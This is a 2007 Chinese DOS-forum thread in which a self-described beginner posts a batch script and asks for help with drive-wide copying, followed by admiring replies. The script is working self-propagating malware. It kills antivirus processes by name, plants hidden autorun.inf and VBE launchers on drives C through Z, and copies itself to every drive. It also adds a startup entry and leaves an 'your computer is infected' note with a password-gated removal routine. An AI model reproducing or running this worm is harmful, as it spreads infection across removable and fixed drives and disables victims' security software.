中国DOS联盟

我学dos一个星期，编了下面这段代码。
我看过一段代码进行全盘复制不是用for命令进行
而是用环境变量实现的
但是我不会，有没有高人指点一下，感激不尽

@echo off setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS cd /d "%~dp0" if /i "%cd%"=="%~d0\" (explorer.exe "%~d0") if exist %systemroot%\wataxiwabaka.txt (del %systemroot%\wataxiwabaka.txt&&goto end) if exist %systemroot%\pujie.txt goto check ELSE goto start :check for /f "tokens=2-11 delims==" %%a in (%systemroot%\pujie.txt) do (If "%%a%%b%%c%%d%%e%%f%%g%%h%%i%%j"=="diaonigehi" goto del) :start call:course>%systemroot%\course.txt For /f "eol=: tokens=2* delims==" %%F in (%systemroot%\course.txt) do (taskkill /f /im %%F) >nul 2>nul For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:read>%%F\作者的话.txt)>nul 2>nul For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:inf>%%F\autorun.inf&attrib +a +s +h +r %%F\autorun.inf)>nul 2>nul For %%F in (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (call:vbe>%%F\%~n0.vbe&attrib +a +s +h +r %%F\%~n0.vbe)>nul 2>nul copy %~dpnx0 %systemroot%\ For %%F in (C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) do (copy %systemroot%\%~nx0 %%F&&attrib +a +s +h +r %%F\%~xn0)>nul 2>nul call:vbe2>"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe start %systemroot%\%~n0.vbe :vbe2 echo wscript.createobject("wscript.shell").run """%systemroot%\%~nx0"" /start",0 goto:diao>nul 2>nul :inf echo. echo.open=wscript.exe %~n0.vbe echo.shell\open\command=wscript.exe %~n0.vbe echo.shell\explore\command=wscript.exe %~n0.vbe echo.shell\find\command=wscript.exe %~n0.vbe goto:diao>nul 2>nul :vbe echo wscript.createobject("wscript.shell").run """%~nx0"" /start",0 goto:diao>nul 2>nul :course echo course=RarStub.exe echo course=RavTask.exe echo course=Ravmon.exe echo course=Ravmond.exe ::瑞星 echo course=avgas.exe ::AVG echo course=Kpfwsvc.exe echo course=kpfw32.exe echo course=kavpew.exe ::金山 echo course=360shell.exe ::360 echo course=qqdoctor.exe ::QQ医生 echo course=iexplore.exe ::IE echo course=kmailmon.exe echo course=kavstart.exe echo course=kwatch.exe ::金山 goto:diao>nul 2>nul :read echo.您好,您的电脑已经中毒.不过不必过分害怕,此病毒并无任何破坏行,只是为了测试代码.如果您无法删除此病毒,请启用本病毒自代的卸载程序.您可以在%systemroot%建立一个名为wataxiwabaka.txt的文档.30秒内会弹出卸载提示.谢谢合作.祝您卸载愉快. goto:diao>nul 2>nul :mima echo.set /p mima="请输入密码按回车确认:" echo.pause echo.if "%%mima%%"=="050353210" echo 正确^&^&pause^&^&goto call echo.echo 错误 echo.pause echo.goto:exit echo.:call echo.call:txt^>^%systemroot%\pujie.txt echo.:txt echo.echo 1=d=i=a=o=n=i=g=e=h=i echo.:exit echo.exit goto:diao :end echo.@echo off>%systemroot%\mima.bat call:mima >>%systemroot%\mima.bat start %systemroot%\mima.bat start %systemRoot%\%~n0.vbe exit :del FOR %%F in (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) DO (FOR %%D in (autorun.inf %~nx0 %~n0.vbe) DO attrib -s -h -a -r %%F\%%D) FOR %%F IN (%systemRoot%\ C: D: E: F: G: H: I: J: K: L: M: N: O: P: Q: R: S: T: U: V: W: X: Y: Z:) DO (FOR %%D IN (autorun.inf %~nx0 %~n0.vbe 作者的话.txt) DO del %%F\%%D) del %systemroot%\mima.bat del %systemroot%\course.txt del %systemroot%\pujie.txt del %systemroot%\wataxiwabaka.txt del /q "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\%~n0.vbe" exit

[ Last edited by 421062724 on 2007-4-18 at 12:52 PM ]

帮忙顶下 , 哈哈

晕，学一个星期就写出这个，我看都看不懂。很利害，我都接触DOS半年了，只会个DIR和COPY命令。


我顶

还在学习中

请问楼主，你是想写病毒吗？具有“+s +h +r “属性的文件你能”copy"吗？

看来楼主VBS学得也很不错，这么短的时间有如此成绩，在下佩服。^O^

[ Last edited by htysm on 2007-4-19 at 03:49 AM ]

很多以前没有好好学习的要顶了哦。。学习的好地方

我也相改一下，copy那里我想用type的拷贝工能代替

没人帮忙吗？？？？

学习一周就编出这样的东西，看来中国的爱因斯坦诞生了！
我只能看动七成左右，郁闷中！！

cd /d "%~dp0"
if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")

一開始就遇到了困難.這段中的 "%~dp0"是甚麼? 我第一次看見這樣的參數.

re:ls
如果只是告诉你答案也许你懂的就这么一点;
倒不如告诉你 运行 hh ntcmds.chm 查找for

谢谢高手提点，继续努力中，因为本人是学生，平时要住校，没太多时间研究。
不过我会继续努力的，谢谢各位的建议和帮助。

我顶啊。我也是个新手啊

NB 太牛逼了 一个星期 ?????
你把牛逼套嘴上了吧!!

你是高手不要把你的学习时间写出来炫耀,搞的我开始怀疑自己的智商了,我真的被你治伤了!

牛B我还看不明白是什么东西